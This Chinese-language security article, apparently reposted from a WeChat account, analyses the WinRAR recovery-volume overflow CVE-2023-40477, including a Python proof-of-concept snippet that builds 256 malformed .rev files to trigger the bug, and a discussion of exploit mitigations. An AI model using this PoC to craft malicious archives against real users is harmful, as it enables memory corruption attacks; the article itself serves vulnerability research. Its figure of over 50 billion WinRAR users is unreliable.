执行摘要
-
WinRAR 拥有超过 500 亿用户,面临新漏洞(CVE-2023-40477、CVE-2023-38831)。 -
今天,我们首次展示:CVE-2023-40477 的 PoC(撰写本文时) -
尽管 RCE 被认为是可利用的,但由于多种原因,它在现实中的影响看起来并不乐观。 -
我们在此介绍全面的技术研究:其影响、可利用的场景和缓解措施。 -
该漏洞已在最近的 Winrar v6.23 中修复,我们在这里还提供了另一种缓解措施
CVE-2023-40477:技术概述和概念验证
比较二进制文件
我们知道 6.23 已修复,让我们尝试查找修复前后的最小版本,以便我们可以观察它。我已经下载了便携式 winrar-v6.23 + winrar-v6.22 并观察了它:
因此,是时候触发了(即将字节更改为最大值)。我查看了 RAR 格式,从描述中我们知道这与 RAR4(vol3?)恢复卷有关,
因此我生成了具有这些功能的 RAR4,它给了我一个文件列表,如下所示:
-
RAR_FILE.rar -
RAR_FILE.r00 -
RAR_FILE00.rev -
RAR_FILE.r01 -
RAR_FILE01.rev
然后,我尝试谷歌搜索一些“unrar”源代码——也许它作为其他项目的一部分存在?!
成功!我找到了这个旧存储库:https://github.com/aawc/unrar现在查看源代码,我们看到多个“255”常量检查,特别是在“recvol3.cpp”中,它们也出现在原始 6.22 源代码,所以也许他们添加了额外的源代码,因为……溢出?
让我们检查一下,更深入地研究,我发现安全检查实际上与 0xff / 255 相关。
漏洞
这些P[i]用于确定它们代表哪个恢复卷以及它们适合什么FileNumber 。
FileNumber也在P[2]中从它们检索。
紧接着,File*被分配并放置在我们控制的大小为 256 的数组中的索引中!(第 241 行)。
这就解释了 255 次检查。
因为索引实际上等于:P[2]+P[0]-1。我们几乎可以通过“rev”卷内容任意控制它。
所以,毕竟,我们可以用指针覆盖该缓冲区(指向文件结构),它们会覆盖当前对象中的下一个属性。
PoC 编写
我们发现我们还需要进行重建步骤,因此将通过覆盖指针来完成一些操作。为此,需要有一些缺失的 rar 卷(缺少 .r00)和 .rev 卷可用。
另外,我们需要确保 crc32 校验和正确,这意味着只需触发几行。
为了方便起见,我们使用了通过 GUI 生成的原始 rar4 恢复卷,但这肯定可以更小且更高效,最多可能包含 2-3 个文件。
# 1. re-generate malformed recovery vols.
data = open('%s01.rev' % ARCHIVE_NAME, 'rb').read() # just use the first and malform it up.
names = ['%s%s.rev' % (ARCHIVE_NAME, str(i).zfill(2)) for i in range(256)]
# "destroy" the P[i]'s
datas = [data[:-7] + bytes([0xf0, 0x00, i]) + calc_crc(data[:-7] + bytes([0xf0, 0x00, i])) for i in range(256)]
# 2. overwrite malformed recovery vols.
for i in range(256):
fname = names[i]
data = datas[i]
open(fname, 'wb').write(data)
可利用吗?
让我们确定攻击者如何使用此原语来获取 RCE 以及存在哪些缓解措施。
// RecVolume3 struct - that gets overflowed
class RecVolumes3
{
private:
File *SrcFile[256]; // overflow in here with File* pointers.
Array Buf;
ThreadPool *RSThreadPool;
public:
RecVolumes3(CommandData *Cmd,bool TestOnly);
~RecVolumes3();
void Make(CommandData *Cmd,wchar *ArcName);
bool Restore(CommandData *Cmd,const wchar *Name,bool Silent);
void Test(CommandData *Cmd,const wchar *Name);
};
...
...
// Array template class:
template class Array
{
private:
T *Buffer;
size_t BufSize;
size_t AllocSize;
size_t MaxSize;
public:
Array();
Array(size_t Size);
Array(const Array &Src); // Copy constructor.
~Array();
这很好,但还不够,人们可能需要绕过此处启用的许多防御措施。
幸运的是,里面有很多保护措施:ASLR、CFG、Stack-Cookie 和 DEP。
原文始发于微信公众号(Ots安全):“Game of Rars” – 通过概念验证探索 WinRAR 中新的远程代码执行漏洞 (CVE-2023-40477) –
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论